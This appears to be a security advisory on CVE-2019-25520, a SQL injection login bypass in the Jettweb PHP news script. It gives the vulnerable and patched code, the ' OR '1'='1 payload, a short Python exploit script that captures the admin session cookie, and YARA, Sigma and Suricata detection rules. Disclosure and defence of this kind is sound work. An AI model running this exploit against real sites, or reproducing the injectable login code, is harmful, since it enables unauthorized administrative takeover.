CVE-2019-25520

Executive Summary

CVE-2019-25520 is an authentication bypass vulnerability in Jettweb PHP Hazir Haber Sitesi Scripti V1, a Turkish news website content management system. The flaw resides in the admingiris.php login page, where the application fails to properly sanitize user-supplied input in the username and password fields. An unauthenticated attacker can inject SQL payloads to manipulate the authentication query, effectively bypassing login credentials and gaining full administrative access to the web application. This grants the attacker the ability to modify site content, access user data, and potentially pivot to server-level compromise. No official patch has been released, and the vendor appears unresponsive, leaving all installations of this script vulnerable.

Supply Chain & Package Security

This is a standalone PHP script, not distributed via NPM, PyPI, Go, or Ruby registries. The risk is limited to direct installations of the Jettweb script on web servers.

CVSS Breakdown & Threat Level

CVSS Score: 9.8 (Critical)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector: Network – The vulnerability is exploitable remotely over the network.
• Attack Complexity: Low – No special conditions or chained exploits required.
• Privileges Required: None – No authentication needed to trigger the exploit.
• User Interaction: None – The attacker does not need to trick a legitimate user.
• Scope: Unchanged – The vulnerable component and the affected resource are the same.
• Confidentiality Impact: High – Full database access, including admin credentials and user data.
• Integrity Impact: High – Attacker can modify site content, inject malicious code, or deface the site.
• Availability Impact: High – Attacker could delete data or disrupt site operations.

Threat Level: Critical. The exploit is trivial to execute, requires no authentication, and yields full administrative control. Public proof-of-concept code exists, increasing the risk of widespread scanning and exploitation.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the authentication logic of admingiris.php. The PHP script likely constructs a SQL query similar to:

SELECT * FROM admin WHERE username = '$username' AND password = '$password'

The $username and $password variables are taken directly from the POST request without sanitization or parameterized queries. An attacker can input a malicious payload such as:

• Username: ' OR '1'='1
• Password: ' OR '1'='1

This transforms the query into:

SELECT * FROM admin WHERE username = '' OR '1'='1' AND password = '' OR '1'='1'

Because '1'='1' always evaluates to true, the query returns the first admin row, and the script grants access without verifying the actual credentials.

The attack does not require knowledge of any valid username or password. The script likely uses mysql_query() or mysqli_query() without prepared statements, making it vulnerable to injection. The lack of input validation, output encoding, or use of parameterized queries is the root cause.

Vulnerable vs. Patched Code

Vulnerable Code (admingiris.php):

<?php
session_start();
include("baglanti.php"); // database connection

$username = $_POST['username'];
$password = $_POST['password'];

$sql = "SELECT * FROM admin WHERE username = '$username' AND password = '$password'";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);

if ($row) {
    $_SESSION['admin'] = $username;
    header("Location: adminpanel.php");
} else {
    echo "Hatali giris!";
}
?>

Patched Code (Recommended):

<?php
session_start();
include("baglanti.php"); // database connection using PDO or MySQLi

$username = $_POST['username'];
$password = $_POST['password'];

// Use prepared statements to prevent SQL injection
$stmt = $pdo->prepare("SELECT * FROM admin WHERE username = :username AND password = :password");
$stmt->execute(['username' => $username, 'password' => $password]);
$row = $stmt->fetch();

if ($row) {
    $_SESSION['admin'] = $username;
    header("Location: adminpanel.php");
} else {
    echo "Hatali giris!";
}
?>

The patched version uses PDO prepared statements, which separate SQL logic from data, rendering injection attempts ineffective. Additionally, password hashing (e.g., password_hash() and password_verify()) should be implemented for secure credential storage.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Download Jettweb PHP Hazir Haber Sitesi Scripti V1 from a legacy archive (e.g., sourceforge.net or similar).
2. Set up a LAMP/LEMP stack (Apache/Nginx, MySQL, PHP 5.x).
3. Place the script files in the web root and configure the database connection in baglanti.php.
4. Access http://<target>/admingiris.php.

Exploit Steps:

1. Open the login page in a browser.
2. Enter the following payload in the username field: ' OR '1'='1
3. Enter the same payload in the password field: ' OR '1'='1
4. Submit the form. The script will authenticate you as an admin.
5. You are redirected to adminpanel.php with full administrative privileges.

Automated Exploit (Python):

import requests

target = "http://<target>/admingiris.php"
payload = {"username": "' OR '1'='1", "password": "' OR '1'='1"}

session = requests.Session()
response = session.post(target, data=payload, allow_redirects=False)

if response.status_code == 302 and "adminpanel.php" in response.headers.get("Location", ""):
    print("[+] Authentication bypass successful!")
    print("[+] Admin session cookie:", session.cookies.get_dict())
else:
    print("[-] Exploit failed.")

Blue Team (Defensive)

Detection:

• Monitor HTTP POST requests to admingiris.php for unusual patterns in the username and password parameters, especially single quotes, SQL keywords (OR, AND, UNION, SELECT), or boolean logic.
• Enable web application firewall (WAF) rules to block SQL injection patterns.
• Review server access logs for repeated login attempts with SQL-like payloads.

Mitigation:

• Immediately replace the vulnerable script with a patched version using prepared statements.
• If patching is not possible, implement a reverse proxy with WAF capabilities (e.g., ModSecurity) to filter malicious input.
• Restrict access to the admin panel via IP whitelisting or VPN.
• Disable error reporting in PHP to prevent information leakage.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /admingiris.php with parameters containing SQL injection patterns (e.g., ' OR '1'='1, admin'--).
  • Unusual login success from IPs not in the admin whitelist.
  • Subsequent requests to adminpanel.php from the same IP performing administrative actions (e.g., adding users, modifying content).

• File IOCs:

  • Presence of webshells or backdoor files in the web root (e.g., shell.php, cmd.php).
  • Modified PHP files in the admin directory with suspicious code.

• Log IOCs:

  • Server access logs showing POST /admingiris.php HTTP/1.1 with 200 status code followed by GET /adminpanel.php.
  • Database query logs showing unexpected SQL statements with OR '1'='1'.

Detection Engineering

YARA Rule

rule CVE_2019_25520_SQLi_Login {
    meta:
        description = "Detects SQL injection attempts targeting Jettweb admingiris.php"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2019-25520"
    strings:
        $sqli1 = /username=.*' OR '1'='1/
        $sqli2 = /password=.*' OR '1'='1/
        $sqli3 = /username=.*admin'--/
        $sqli4 = /password=.*' OR '1'='1' --/
        $login_page = "admingiris.php"
    condition:
        any of ($sqli*) and $login_page
}

Sigma Rule

title: SQL Injection Attempt on Jettweb Admin Login
id: 8a9b3c2d-1e4f-5a6b-7c8d-9e0f1a2b3c4d
status: experimental
description: Detects SQL injection payloads in POST requests to admingiris.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /admingiris.php
        cs-uri-query|contains:
            - "' OR '1'='1"
            - "admin'--"
            - "' OR 1=1"
    condition: selection
falsepositives:
    - Legitimate use of single quotes in usernames (unlikely)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2019-25520 SQL Injection Attempt on Jettweb Admin Login"; flow:to_server,established; content:"POST"; http_method; content:"/admingiris.php"; http_uri; content:"username"; http_client_body; pcre:"/username=.*' OR '1'='1/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the vulnerable script: If the Jettweb script is still in use, immediately take the admin panel offline or restrict access via firewall rules.
2. Apply virtual patching: Use a WAF (e.g., ModSecurity, Cloudflare) to block SQL injection patterns targeting admingiris.php.
3. Upgrade or replace: Migrate to a modern, maintained CMS (e.g., WordPress, Joomla) or rewrite the authentication logic using parameterized queries.

Long-Term Fixes:

• Replace all instances of dynamic SQL construction with prepared statements (PDO or MySQLi).
• Implement strong password hashing (bcrypt/argon2) and enforce multi-factor authentication for admin accounts.
• Conduct a full security audit of the application to identify other potential vulnerabilities.
• Monitor the vendor’s website for any official patch; if none appears, consider the software end-of-life and migrate away.

Valters IT – Securing digital frontiers, one vulnerability at a time.